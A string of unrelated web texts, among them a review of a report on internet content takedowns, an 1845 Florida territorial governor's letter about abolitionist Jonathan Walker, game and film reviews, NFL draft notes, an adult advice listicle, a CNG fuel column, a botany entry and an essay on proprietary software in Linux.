As the large internet companies operate globally, things get trickier in countries that don't support their principles of openness and free expression. Each day, they receive thousands of requests to remove content that clash with a country's laws and norms. In one of the chapters, Ristow provides examples of how takedown requests from governments are handled. For example, Google normally blocks content that is hate speech or in response to courts and governments. However, an interesting statistic reveals that Google's compliance with government requests declined from 76% to 52% between December, 2010, and June, 2012. The company is transparent in releasing regular reports of takedown requests. The decision-making process behind such requests, however, seems less clear. One can assume that decisions are context driven, and that refusing requests could be a costly business. After all, these companies are in the market to generate revenue.
The question remains, what are the internet companies' responsibilities in managing and regulating content? In the report, Rebecca MacKinnon, and others argue "that simply espousing high principles isn't enough, and that the significance of these corporations' role in managing information demands some formalized system of accountability." But an agreement about what this should be has yet to be formalized.
The Global Network Initiative (GNI) might be the answer to sort out many of the issues mentioned. The initiative was established in 2008 to protect and advance freedom of expression and privacy in the Information and Communication Technologies (ICT) sector. Members of GNI include several of the large internet companies mentioned, as well as human rights groups, investors and academia. GNI has created a code of conduct for the ICT industry, entitled "Principles of Freedom of Expression and Privacy". The documents states that ICT companies (and I copy from Ristow's report) "have the responsibility to respect and protect the freedom of expression and privacy rights of their users," and that GNI members should work with governments and the international community on "measures to protect freedom of expression and policy rights". The document also includes a statement on accountability; it says that GNI members "will be held accountable through a system of (a) transparency with the public and (b) independent assessment and evaluation of the implementation of these Principles."
A possible challenge ahead, Ristow cautions, is the expanded role and influence of the mobile industry and telecommunications networks. As these entities are often regulated by governments, there's the possibility that they may also take a larger role in censorship and repression of speech.
The report ends with a set of recommendations for addressing the role of the new information gatekeepers:
- The dominant Internet companies should be more transparent about how they decide on content issues.
- The start-ups of today should consider the lessons of the recent past.
- Twitter (and the telecoms, and other ICT companies) should join the Global Network Initiative. (A much broader industry base is needed for the initiative to have an impact.)
- The Global Network Initiative should tough up. (Ristow points out that the initiative needs to move in a much faster phase to obtain its mission. Norms change with technological advancements.)
- To the users: pay attention and weigh in.
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Series: (Series 177, Territorial Governors' Correspondence, 1820-1845)
Page 1 of 3
Executive Department
Tallahassee Febry. 15th 1845
To the Senate and House of Representatives,
With my opening message, I submitted a letter from the Secretary of the Commonwealth of Massachusetts in relation to a certain Jonathan Walker convicted of stealing negroes, and who was then, and is now, confined in the Jail of Pensacola for said outrage; to which I again particularly invite your attention, in connection with the accompanying letters which I received by the last mail from the Marshal of the U. States for the Western District of Florida. From their perusal you will see that the "British and Foreign anti-slavery society for the abolition of slavery and the slave-trade throughout the world" has been clandestinely cooperating with the authorities of Massachusetts in fiendish machinations against our domestic institutions. "
Under such circumstances, farther forbearance on our part not only ceases to be a virtue, but would be in effect an abandonment of our vital interests. I therefore recommend the subject to your dispassionate investigation, with a decided opinion on my own part, that the time has arrived, when Florida has a right, nay would be false to herself were she not, to demand from the Federal Government a prompt enforcement of the guarantees of the Federal Constitution.
I have the honor to be,
Your Ob't Sr.
Jn Branch
As the Original Letters are herewith sent, the Hon.b Senate will please transmit them to the House of Representatives after such orders shall be given, as are deemed necessary concerning them, together with this communication. Jn. B.


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|System: X360, PS3
|Review Rating Legend
|Dev: Sumo Digital/Visceral Games
|1.0 - 1.9 = Avoid
|4.0 - 4.4 = Great
|Pub: Electronic Arts
|2.0 - 2.4 = Poor
|4.5 - 4.9 = Must Buy
|Release: Oct. 12, 2010
|2.5 - 2.9 = Average
|5.0 = The Best
|Players: 1-2
|3.0 - 3.4 = Fair
|ESRB Rating: Mature
|3.5 - 3.9 = Good
by Steve Haske
These days, its not uncommon for big games to spawn a host of cross-promotional media products when they debut, from movies and spin-offs to novelizations and comics. Visceral Games is no stranger to thissome of you may remember the Dead Space comics and straight-to-dvd animated feature Downfall, not to mention the infinitely forgettable anime that was released alongside Dantes Inferno. Everyone knows that its good to be wary of spin-offs, because more often than not theyre not worth your time or offer little connection to what you like about the original game series.
So when I heard that Ignition was a motion-comic padded with three types of mini-games to somehow constitute gameplay, I naturally had to raise an eyebrow. The original Dead Space comics, which later appeared on both PSN and XBLA as well as in the Dead Space: Extractions bonus material, werent terribly thrilling, though it was somewhat interesting to see some of the events that landed the necromorphs on the Ishimura to begin with. The art wasnt great and the writing was mostly expository horror-movie filler, but for what it waswhich was freeit was an interesting little trip into the then-burgeoning Dead Space mythos, which still had some element of mystique to it. Ignition can make no such claim. Viscerals various reveals concerning Dead Space 2 has lifted what little shroud of mystery still remain after the explorations of Unitology in Extraction; whats could possibly be left to uncover in another motion comic?
The answer is nothing. Ignitions main selling pointthat it chronicles what happened on the Sprawl leading up to the events of Dead Space 2is a joke, though playing it does unlock some items for Isaac to use when the DS2 comes out. Lets not kid ourselves: when Ignition was announced, absolutely no one cared about Ignitions aforementioned mini-games. If you cared at all, if was for the story connection to Dead Space 2 (unlikely) or the unlockable items (more likely). And with good reason. As a game, Ignition is Dead Spaces first absolute failureone thats comprised of flash-faithful, browser-style games whose connections to the series itself are tenuous at best. But you probably already knew that.
The joke of the concept aside, a lot of the Dead Space devoted will probably play this one anyway, if only out of morbid curiosity (though I would recommend just downloading the demo if you must). And those of you who were hoping Ignition would have a shade or two of the interactivity seen in Metal Gears digital graphic novel, think again. Ignition is less interactive comic and more movie that just happens to have some derivative, interactive distractions thrown in to justify its status as an actual game. That means you wont be frantically tapping buttons at random intervals to avoid getting eviscerated by bloodthirsty necromorphs, which, while not amazing, could have been mildly interesting. Instead, Ignitions narrative is as static as it is boring and Hollywood-horror generic, even with the slight deviations from the main path you can take. It may sound like Im (maybe) being unnecessarily harsh on Ignition, which as we all know is a game that few expected anything from anyway. Honestly, though, I think it would have been better off if EA had knocked three bucks off the download price and just made it a motion comic that unlocked Dead Space 2 content as you watched it. Instead, they decided to subject us to the mini-games that comprise Ignitions so-called gameplay.


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After more than a decade in the sex writing biz, we have seen our share of sexual gimmicks come and go, many of them vastly overrated. Below are the top ten sexual acts that, while they may be more substantial than gimmicks, continue to get more accolades than they deserve. Also, check out the Top 10 Most Underrated Sexual Acts — a.k.a. under-doggie-style — that we'll feature tomorrow.
- Threeways. Too many elbows, too few orgasms. Also, there's the jealousy, the insecurity, and the awkward post-coital cuddling and/or brunch. 'Nuff said?
- The 69 position. Kind of like communism: great in theory, not in practice.
- Simultaneous orgasms. What is that saying, the great is the enemy of the good? Sure, the simultaneous O is awesome when it happens, but individual orgasms are pretty dandy, too. And sometimes, an alternating spotlight is a good idea — especially if that thing that pushes your partner over the edge requires a certain degree of concentration and/or skill.
- Female ejaculation & the G-spot. Somewhere along the line, this kind of female climax became valued above all others. Sure, for some women it's the holy grail, but for others, G-spot attention is just plain annoying, or even painful.
- Fast-pumping intercourse. Do we really have to explain this one?
- Deep-throating. Because nothing says hot like a woman person throwing up a little on your penis.
- Sharing ALL your sexual fantasies with your partner. Some things are best saved for your me-time seshes.
- Text sex. There just aren't that many nerve-endings in our thumbs.
- Sending naked photos. Oh, posterity. Oh, discretion. Oh, angry ex with a trigger-happy finger on the forward button.
- Two tongue kissing. One at a time is underrated, that's all we'd like to say.
Honorable mention: Using flavored lube; putting on a condom with your mouth
• This post is a part of Sundance Channel's Naked Love Blog
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Curtis Riley speaks with the media following Sunday's practice
New York Giants general manager Dave Gettleman discusses team goals with the Giants two first-round picks.
GM Dave Gettleman discusses off season moves and the Giants draft strategy
Safety Jabrill Peppers on his role in the Giants 2019 defense
LB Lorenzo Carter on differences coming into second season
WR Golden Tate discusses his first days with his new Giants teammates
RB Saquon Barkley gives his take on the outlook of the Giants' 2019 season
TE Evan Engram on continuing to grow as a player as he enters Year 3
GM Dave Gettleman discusses the new pass interference rule, why he decided to trade away Cleveland Browns wide receiver Odell Beckham Jr. and whether he plans to draft a quarterback.
Giants chairman Steve Tisch speaks with Giants.com's Michael Eisen to discuss the progress of the 2019 roster
At the annual meeting, coach Pat Shurmur discusses the Giants' offseason and looks ahead to the NFL Draft
Giants president John Mara speaks with Giants.com's Michael Eisen to discuss the progress of the 2019 roster
Dave Gettleman discusses recent roster decisions as the 2019 offseason continues
GM Dave Gettleman spoke with the media Monday morning
Will Hernandez reflects on his rookie season in a sit-down interview with Madelyn Burke.
University of Alabama tackle Jonah Williams responds to criticism about his arm length.
Florida Gators offensive tackle Jawaan Taylor discusses the upcoming 2019 NFL Scouting Combine and the player competing in it who was his toughest opponent last season.
Coach Pat Shurmur on Eli Manning, Odell Beckham, and coaching staff
GM Dave Gettleman on evaluating the roster and building towards the 2019 season
Saquon Barkley looks back on his experience one year ago at the NFL Combine
Guard Will Hernandez looks back on his experience last year at the NFL Combine.
Lorenzo Carter reflects on his rookie season in a sit-down interview with Madelyn Burke.
New York Giants running back Saquon Barkley dicusses looking forward to the 2019 season at this years Pro Bowl.
Saquon Barkley chats with Madelyn Burke for an in-depth interview following his first NFL season
GM Dave Gettleman reflects on the 2018 season and talks goals for the offseason
Coach Pat Shurmur reflects on the 2018 season


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Monday, December 23, 2013
Mine That Bird Rises
When rumors flared that there would be a movie about Mine That Bird, I was at first amused, then angry, then a little hungry, then confused, but ultimately a bit intrigued. Sadly, for the movie, its most famous actor, if you want to call him that, is Calvin Borel, who will be playing the only thing he knows how to play: Himself.
The trailer for "50 to 1", unlike the great horse racing movies "Seabiscuit" and "Secretariat", puts the emphasis not on the horse but on the wacky bandits who somehow managed to get Shrek's donkey to the Derby. The trailer shows the transformation of a once-bipedal Chip Woolley triangulate his lower limbs. It shows the meeting of Woolley and Mark Allen, one of the principle owners of Mine That Bird. Allen famously came to Woolley's aid in a barroom fight. Joy to the world.
Much was made about how Woolley drove Mine That Bird to the Derby himself. This made every reporter's head explode in the media room after the 2009 Derby. Woolley was getting pretty annoyed by the end. He said he had a nice truck. It wasn't like he pedaled a rickshaw from New Mexico.
50 to 1 has the makings of a modern-day bromance. The dominant image on the promotional poster isn't of the horse, but of Woolley. But really, the undercurrent of the whole story is the fate of a sport. Horse racing is a long shot and far from an overlay too. Horse racing is Mine That Bird: 50 to 1 and having a hard time winning another race.
Here's the description as IMDB would have you read it: A misfit group of New Mexico cowboys find themselves on the journey of a lifetime when their crooked-footed racehorse qualifies for the Kentucky Derby. Based on the inspiriting true story of Mine That Bird, the cowboys face a series of mishaps on their way to Churchill Downs, becoming the ultimate underdogs in a final showdown with the world's racing elite.
People do love an underdog story. This wasn't so much an underdog story, but a fluke, but maybe that's all underdog stories at their core. Do you really expect Average Joe's to beat Globo Gym in a best of seven series in dodge ball? Let's be real here.
You'll be hard-pressed to find a recognizable actor in the film. I only knew Skeet Ulrich, who plays the handle-bar-mustachioed Woolley, from "Scream" in 1996. He's been in 33 other projects as a middling actor. William Devane, playing Leonard Doc Blach, is the most accomplished of the cast, spending most of his time in television, but also playing one mean presidential role in "The Dark Knight Rises", a man after my heart.
The Mine That Bird story, or, at the very least, the year of the story took place, was a year I was deeply embedded in several narratives. I went to the Derby on my own dime as the paper I was working for told me not to go. Pish posh. I stood in the winner's circle to watch the Derby and along came this pony-sized horse with 2007's Derby-winning jockey in the irons with a grin on his face wider than a horse's rump.
Mine That Bird sneaked through on the fence and, contrary to what Borel later told reporters, he pointed his whip right at my heart, not his fiancées, as he galloped past all the blue bloods. I'd be fired two weeks later and following a filly that would win more than one race after that first weekend in May. I'd also be following Mine That Bird and Summer Bird, neighbors in the Saratoga Stakes Barn, sired by the same Birdstone, but couldn't look more different. Brothers, sort of.
I witnessed the sneaky exodus of Mine That Bird leaving Saratoga at 2 AM on a warm, star-lit night after the Travers (which he scratched from due to a throat problem). The only sound you could hear was the groaning Brookledge van and Woolley's crutches clicking down the shedrow with Mine That Bird patiently walking by his side.
"Seabiscuit", the movie based on the book, had a star cast and drew in $148,336,445 (this on an $87 million budget) at the box office. "Secretariat" ($60,251,371 on a $35 million budget), the movie based loosely on the book, also a star cast, was also a success. You'd think this country has a hunger for all things horse racing. Not a fraction of those people will set foot on a racetrack. Many of those people don't realized the greater racing world beyond the Derby and that's one of the great many failures of the horse racing biz.
What's the over-under on what "50 to 1" brings in? I'd set it $30 million.
Still, somehow, against all odds, horse racing movies keep getting green lit, people keep watching them. I keep watching them. They're the most immersive horse racing experience. Maybe if the industry can find a way to make the dozens of races a day feel as immersive as a movie, it has the potential to be something worth following and, ultimately, worth gambling on.
But maybe why the movie's do so well is people get to watch them in the dark, a guilty pleasure, out of the light.
Written by Brendan O'Meara


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"Ghost — The Musical" makes its L.A. premiere at the Hollywood Pantages June 27 through July 13.
"Ghost" writer Bruce Joel Rubin adapted his Academy Award-winning script for the 1990 movie into the stage production's book and tried his hand at writing some of its songs. For the 71-year-old screenwriter, it was a rewarding break from working in the film business.
A long, rewarding break.
"I didn't have any idea it would be seven years in the making," Rubin says of the musical, which premiered in Manchester, England, in March 2011 and began a six-month Broadway run in April 2012. "You don't know how long it takes to do a musical; it's an enormous undertaking.
"But the thing about a movie is that when it's done, it's done," adds Rubin, whose other screenplay credits include "Jacob's Ladder," "My Life," "Deep Impact" and "The Time Traveler's Wife." "You can't change a frame of film, you can't have a reinterpretation of a line that you felt could have been written a little bit better. You have what you have. But a musical is so alive. Theater is alive."
The ultimate date movie of its era, "Ghost" melted millions of hearts with its tale of Patrick Swayze's murdered spirit Sam's struggle to protect and reconnect with Demi Moore's Molly via fake medium Oda Mae Brown (Whoopi Goldberg won an Oscar, too, for that comic performance).
Sam will be played by Steven Grant Douglas, Molly by Katie Postotnik and Oda Mae by Carla R. Stewart in the Pantages production.
Among other cultural impacts, the movie reboosted sales of The Righteous Brothers' "Unchained Melody" through the roof and turned wet pottery clay into a briefly popular sex aid. Rewriting such an iconic story for the live stage was totally new territory for Rubin.
"I looked at my script and I said, '"Ghost" is too heavily plotted,' " he initially realized. "But the structure was so essential to the story, I couldn't really make this the Oda Mae Show. So I started figuring out how I could compress scenes into setup preludes for songs, and then further the story through the songs."
Great! But then, there had to be songs. While Rubin believed his material certainly lent itself to musical interpretations, the first composers on the project just couldn't hit the right emotional timbre. So they quit, and Rubin himself put pen to paper.
"I'd never written a song in my life," he reveals. "But I thought I could write words, and so I wrote 20 songs and it was an extraordinary thing. I cannot tell you the joy of writing songs when you've never written a song."
Grammy winners Dave Stewart and Glen Ballard were brought in to put music to Rubin's lyrics — and, since they were pros, ended up creating most of the show's songs from scratch. Rubin didn't mind; he's still got credit for four of the tunes, and feels his efforts set the tone for the rest. And yes, "Unchained Melody" will be heard at the Pantages, too.
One thing Rubin was not concerned with while writing the book was how in the world special effects sequences that looked seamless in the movie could be reproduced live every night.
"When I met (director) Matthew Warchus in London, he said he had been an amateur magician," Rubin recalls. "So I knew he was going to bring magic into the equation, though I didn't know quite how. Then he hired this great illusionist, Paul Kieve, and Paul went back into the 1800s and found . . . tricks is a terrible word for it, they're not tricks at all . . . ways of doing things on a big stage that have never been done."
Rubin says it still takes his breath away every night he sees a man walk through a solid door or spirits rise from still bodies. There's also live pottery throwing; each actress who plays Molly has to learn the skill. The writer promises, though, that no one in the front rows will get splashed — no matter how much some patrons might long for it.
While New York's reception to "Ghost — The Musical" was cooler than it's been in other parts of the world, Rubin's pleasure in the new creative experience remains undiminished.
But don't expect him to write "Jacob's Ladder — Stoned on Stage."
"The thrill of watching your words getting laughs in different ways and making people cry different ways, that's an amazing experience," says Rubin, who is currently working up some TV series proposals. "If I were 10 years younger, I'd probably work on another theater project. But it takes a decade of work to get a musical on the road, and it's not how I want to spend my remaining decade, or decades, here.
"This has been so fulfilling and so complete. Would having another one make it more fulfilling and complete? It would be wonderful, but I don't think it would. It's like asking what would a second Oscar mean. In my case, it means I could leave one to each kid, and nothing else I can think of beyond that.
"So, when I'm gone, they'll have to fight over the one I have — but, in fact, they both say they don't want it."


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Leading up to April's NFL Draft, Andrew O'Brien will be bringing you positional breakdowns, mock drafts, and more. Here's a look at some of the top punters and kickers who could be available for the Eagles:
Special teams are largely forgotten about in the NFL Draft, but teams can find great value in a kicker or punter on the third day. With no elite prospects worth taking early and turnover among kickers and punters high around the league, it's not worth it to many franchises to use anything more than a fifth-round pick on either of those positions. Of course, they can still find a long-term solution for their kicking and/or punting games among college football's top prospects.
Here's a look at the top kickers and punters:
Caleb Sturgis, Kicker, Florida (5-11, 187 lbs.)
Sturgis hit 23-of-27 of his field goals and was a Lou Groza finalist for the top kicker in the nation for the second straight season. He was 8-of-9 from kicks beyond 40 yards and will likely be a third-day selection.
Dustin Hopkins, Kicker, Florida State (6-2, 190 lbs.)
In his senior season, Hopkins made 25-of-30 field goal attempts and became the NCAA FBS all-time leading kick scorer. Strong on kickoffs as well, he could be the first kicker selected.
Quinn Sharp, Punter/Kicker, Oklahoma State (6-1, 205 lbs.)
Serving as Oklahoma State's kicker and punter, Sharp has a big leg, as evidenced by punts with 5.0-plus seconds of hangtime and 70 percent of his kickoffs going for touchbacks. He might initially be a kickoff specialist but could develop into an NFL-caliber kicker or punter.
Jackson Rice, Punter, Oregon (6-3, 223 lbs.)
Rice's talents were probably wasted in Oregon's offense, but he has a good leg and produces solid hangtime. If he's not drafted late, he'll get a shot to prove himself at someone's training camp.
Brad Wing, Punter, LSU (6-3, 184 lbs.)
After a stellar 2011 season that saw him named as a First-Team All-American, Wing took a step back in 2012 and ultimately missed the Chik-fil-A Bowl after being suspended. Wing is probably the most talented punter in the draft, however, and could be the first one selected.
Matt Weller, Kicker, Ohio (6-0, 203 lbs.)
Brett Maher, Kicker, Nebraska (6-0, 185 lbs.)
Ryan Allen, Punter, Louisiana Tech (6-2, 215 lbs.)
Dan Conroy, Kicker, Michigan State (5-10, 186 lbs.)
Jeff Locke, Punter, UCLA (6-1, 203 lbs.)
Scott Kovanda, Punter, Ball State (6-3, 205 lbs.)
Dylan Breeding, Punter, Arkansas (6-1, 211 lbs.)
Buffalo Bills: The Bills allowed the second-most punt return yardage in the league and Shawn Powell's 38.1-yard net average could easily be improved upon.
Carolina Panthers: Graham Gano made 9-of-11 kicks after replacing Justin Medlock, but the Panthers should look for a better solution. Carolina's 36.5-yard net average on punts was worst in the NFL.
Cleveland Browns: Phil Dawson can still kick but the Browns may decide to part ways with him for some reason. Reggie Hodges can't really punt, so the Browns may decide to replace him for that reason.
Detroit Lions: The Lions tied with the Eagles for second-worst punt net average in the league. They could also need a kicker if Jason Hanson decides to retire.
Green Bay Packers: The Packers might want to create some competition for kicker Mason Cosby, who was a wreck down the stretch, missing more than a third of his kicks.
New York Jets: Nick Folk made 21-of-27 field goals last season and generated a league-worst 12 touchbacks.
Oakland Raiders: Shane Lechler is a free agent and could see his 13-year tenure with Oakland end after posting his worst net average since 2005.
PHILADELPHIA EAGLES: The Eagles allowed the most punt return yardage in the league and tied for second-worst in net average with Mat McBriar as their punter for the majority of the season.
San Francisco 49ers: David Akers was lucky to survive the remainder of the season with the 49ers after falling apart late in the season. It would be surprising to see him back after making only 29-of-42 field goals in 2012.
Washington Redskins: Sav Rocca is a free agent and the Redskins need to upgrade at punter.


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Morrison Biergarten Festival
July 13 - 15, 201817832 Highway 8, Morrison, CO
The T.E.V. Edelweiss Club, located at 17832 Highway 8, Morrison, CO 80465, announces the Morrison Biergarten Festival to be held on July 13th, 14th and 15th. This three-day event is a replica of an authentic German Biergarten Festival complete with German bands, dancers, home made food and of course beer.
The dates and times are Friday 5 PM-11 PM, Saturday 11 AM-11 PM and Sunday 11 AM-6 PM. We have a different band every day; Rick Borger and the Average German Band, Rhinelanders, Peter Kron Musik and Bruce Cole (the stunning solo act). We also have performances by the Schuhplattlers and Volkstanzgruppe.
Come enjoy the cooking of Chef Neuhold as he makes his specialty dishes. Our seniors will be hard at work creating delectable deserts to tempt your taste buds. The beer will be ice cold. This year, as an added attraction, we have a BIG screen TV so you can catch the score between dances.
Grab your favorite beer mug and come join us. This is one beer festival that you won't want to miss!
For more information and all the details, please visit our web site at www.tevedelweiss.org
Admission: ages 21+ is $10, ages 12-20 is $5, and Kids ages 11 and Under are FREE.


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Can government subsidies spur science-industry collaboration and innovation?
Efforts to foster collaboration between science and industry have long been a part of innovation policy in many countries. Firms stand to benefit from accessing the specialized infrastructure and expertise available in universities. Researchers gain access to practical problems that can provide greater relevance for their research, and to industrial capabilities for manufacture and assistance in commercializing their ideas to take them to market. Yet, there are barriers that inhibit collaboration, including financing constraints, information asymmetries, and transaction costs in negotiating collaboration agreements.
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- Financial Sector


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Clear Colored PVC Sheets
by Midwest
Flexible material. Use Clear Colored Polyester Sheets for architecture, construction, and engineering model projects. Sheets are 7.6 in. wide x 11 in. long. Each sheet is sold separately.
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A friend of mine recently returned from a trip to Southern California and was bemoaning the cost to refuel his vehicle at just under $5 a gallon. Locally, we pay between $3.75 and $4 per gallon. While we don't pay the California prices yet, filling our tanks remains a painful reminder that we are subject to the market demands and price fluctuations with few options for savings available to the average consumer.
As both a commuter and a legislator, I'm interested in fuel cost and impacts on families. The Legislature often receives reports from the petroleum industry about the price of gas and how the costs are beyond the industry's control. But what would you say if I told you that some of our neighbors have found a place in downtown St. George where they fill up and pay less than $1.50 per gallon?
The answer to our cost problem lies in a movement picking up steam statewide to move away from traditional fuels of gasoline and diesel to compressed natural gas (CNG) and Liquefied Natural Gas (LNG). Utah is leading the nation in the movement. Fleets of state, area government and some school district vehicles and buses are being converted, or they are being purchased directly from the manufacturer equipped to operate with this alternative fuel technology. Private entities such as waste management companies and major long-haul trucking companies are converting their diesel engines to LNG or CNG, all designed to cut energy costs and the savings are dramatic. Aside from cost savings, there are even more reasons why we should be bringing the public's attention to this alternative fuel which is so abundantly available in our state.
• Clean fuel — Natural gas is the cleanest-burning fossil fuel. Natural gas emissions contain significantly less pollution than gasoline: 70 to 90 percent less carbon monoxide, 50 percent less non-methane organic gas; 75 percent less nitrogen oxides and 20 percent less carbon.
• Domestic product — More than 90 percent of the natural gas available in the U.S. is produced in the U.S. With new drilling technologies, it's estimated the U.S. has enough natural gas to last more than 100 years at current production. Using our own fuel reduces our dependence on foreign oil.
• Convenience — In years past, finding a CNG fueling station especially while traveling away from home could be a challenge. That's all changing. In Utah, there are about 40 refueling stations available for private consumer use with more on the drawing board. Most of the stations exist along the I-15 corridor, and we are beginning to see an expansion to rural Utah. Utah is second only to California in the number of fueling stations available for CNG users. Refueling is easy and essentially no different than filling at a conventional gasoline pump.
• Consumer choices — In addition to conversion kits that can be installed on your existing vehicle, auto manufacturers are getting back in the game. For example, you can purchase a Honda Civic equipped from the factory as a CNG vehicle. For those of you who prefer driving a truck, you can order a GM or Dodge with CNG original equipment or a Ford CNG truck factory prepped for a conversion mechanic to install equipment after delivery.
• Tax incentives — Whether you are purchasing an originally equipped vehicle for CNG or converting an existing vehicle, there in an expense involved. The good news is that there are state and federal tax incentives in place to help offset the cost.
The bottom line is the number of CNG and LNG vehicles in Utah is growing, not only with private and government fleets, but the private consumer is catching on. There are so many "wins" for taxpayers, consumers, and our environment when it comes to CNG and LNG. But you don't' just have to take my word for it. Before investing in this technology, you should do your homework. I advise you to spend some time at www.utahcleancities.org andwww.questargas.com.
Rep. V. Lowry Snow wrote this article originally for The Spectrum for a rotating column with other legislators from Southern Utah during the legislative interim period. Originally published November 7, 2012.


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Vascular Plants of Wisconsin
Symplocarpus foetidus (L.) Salisb. ex W.P.C.Barton
skunk cabbage
Family: Araceae
native: yes
type: herbaceous perennial
Symplocarpus foetidus is the earliest
plant species to flower in Wisconsin. It tends to favor
deep, wet, often mucky soils. Plants that grow in springy
areas where the soil does not freeze or freezes only lightly
may flower in February. Plants in more exposed sites may
not flower until 3 weeks or more after the earlliest plants.
The purplish structure with light flecks is
called the spathe.
Within it is the spadix, a fleshy central axis with
many small flowers which can be seen in the photo above.
The inflorescence appears first and the leaves emerge from
the soil later. If they are broken they produce an odor
similar to that of a skunk. Skunk cabbage flowers produce
an odor that is similar to rotting meat, which attracts
insects that are looking for carrion. The insects become
unwitting pollinators of skunk cabbage when they come to
investigate the odor. This is the only species in our area
(and one of very few anywhere) that can actually generate
significant heat -- sometimes melting
the snow around the flower.
the author


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Is There a Way to Promote Development in Coastal Areas of Costa Rica While Still Preserving the Natural Environment?
Costa Rica needs to pay attention to the rapid change that coastal regions have been undergoing as a result of tourism and real estate projects. Despite the economic benefits in terms of jobs and foreign investment, many have raised concerns over construction in high slopes, approval of projects without the necessary water and wastewater infrastructure, deforestation, and the displacement of the local population. Is there a way to promote development in coastal areas of Costa Rica while still preserving the natural environment and benefiting coastal communities in the long term? What is the process currently in place to determine a project's potential negative impacts, and what changes need to be made to this process in order to promote sustainability?
To answer these questions, Maricarmen Esquivel studied the Environmental Assessments for three tourism and real estate projects in the Pacific Coast of Costa Rica, looking specifically at how environmental, economic, and social tradeoffs have been made in practice. The analysis shows weak assessments, lack of pushback from government agencies coupled with inadequate monitoring, and a high number of legal complaints that have not been sufficient to incentivize good practices. As coastal areas are being urbanized, Costa Rica has embarked on an ambitious effort to improve the cadastre and land use plans of these regions, in large part to give more security to investors. A window of opportunity currently exists to improve the sustainability framework in the country, including strengthening the National Technical Environmental Secretariat and the Environmental Administrative Tribunal, updating environmental assessment regulations, and enhancing land use planning capacity. Esquivel suggests these recommendations should be implemented through a collective effort led by the Ministry of Environment, and including other relevant government agencies, local and international environmental NGOs, universities, the private sector, and local communities. She argues having clearer rules for development in coastal areas will ultimately benefit all stakeholders.
You can learn more about this topic by reading the full thesis, "Coastal Development Decision-Making in Costa Rica: The Need for a New Framework to Balance Socio-Economic and Environmental Impacts," written by Maricarmen Esquivel.
Posted on May 11, 2012, in urban development, water. Bookmark the permalink. 1 Comment.


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Newly engaged couple Maria Sharapova and Los Angeles Laker Sasha Vujacic were looking lovey in Los Angeles, CA on Saturday as they walk hand in hand while out for lunch. Sharapova could be seen wearing a rather large engagement ring while out and about with her future husband.
Serena Williams is featured on Cover of August 2010 Harper's Bazaar, which hits newsstands July 20th. In the photo spread, Serena showcases her stylish self in a Fendi dress and sports a swimsuit by Eres. Inside the monthly magazine, Serena talks about how she came to accept her body, about the difficulties, and importance, of accepting her own physical differences, and dating, revealing the reason behind breaking up with rapper Common.
Shakira was spotted out at the All England Club in London on Monday afternoon watching Rafael Nadal and Paul-Henri Mathieu during their fourth round match for the Wimbledon Championships. Here are the photos, enjoy!
Here are the photos of Brooklyn Decker, Kim Sears, Bec Cartwright and Mirka Vavrinec supporting their husbands/boyfriends on Day Seven of the Wimbledon Lawn Tennis Championships at the All England Lawn Tennis and Croquet Club on June 28, 2010 in London, England. Enjoy!


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Mixing Proprietary Software and Linux
Proprietary code on an open platform
For most people, computing comes down accomplishing their daily tasks with as much time saved and cost efficiency as possible.
Where things tend to go wrong, however, is that we do not live in a world where Open Source software and mainstream needs are always on the same page. No matter how much I might wish that everything could just be Open Source, sometimes the issue is a bit more complicated than it seems on the surface.
Proprietary code on an open platform.
Open Source software enthusiasts will tell you that if you open up the proprietary Pandora's box onto an Open Source platform such as desktop Linux, you're playing with fire.
For instance, listening to music. The end user could choose to convert their CD collection to Ogg Vorbis if they want a music jukebox experience on their desktop. And on the video driver front, just how important is that 3D desktop really?
All a person needs to do is use the default video drivers instead of "infecting" their system with problematic proprietary video drivers. Clearly, this is the smoothest approach to a stable desktop Linux experience.
But is this also providing a practical experience as well?
Exploring this further: Let's say you own CDs, have a full understanding of how to rip music from the CDs to Ogg Vorbis or FLAC and have something portable to play your music on that works with Ogg Vorbis. Then you're in good shape.
If, however, you're someone using a Linux distro, own an iPod and have all of your music in iTunes, then going with open formats might not be practical.
While this might sound incredibly trivial to you, realize that for someone who has spent tremendous amounts of money on music locked up in a DRM prison, this really puts a damper on being able to enjoy their media on a Linux desktop.
Then there is also the issue of ease of use. Clearly not being locked into a proprietary application sounds attractive, but is it really easier to convert other people to using the same software you are in order to select Open Source software over that of a proprietary nature?
Is easier truly better?
Skype vs Ekiga - which is actually easier to use?
This is one of my favorite examples of using open vs. closed source software as it hits close to home for me personally. I have been using Ekiga since the days it was known as Gnomemeeting. Ekiga has always served me well as my preferred VoIP client for quite some time now.
However, once Skype came to Linux I found that I was suddenly not using Ekiga as often anymore.
The problem was that Skype has a massive adoption rate among all three major platforms, whereas Ekiga does not. And despite Skype having some issues early on with video, PulseAudio, etc, it's what most people are using for VoIP communications on the other two major platforms these days.
Unfortunately, I found that it takes a bit of research to understand how PulseAudio best works with Skype. Ekiga on the other hand, does a much better job working with PulseAudio out of the box. Yet back on the flip side of the coin, Ekiga's UI is not as familiar as Skype's.
To make matters worse, voicemail was bit confusing for those few users that I did convince to switch over to Ekiga on other platforms.
- Skip Ahead
- 1. Proprietary code on an open platform
- 2. Proprietary code on an open platform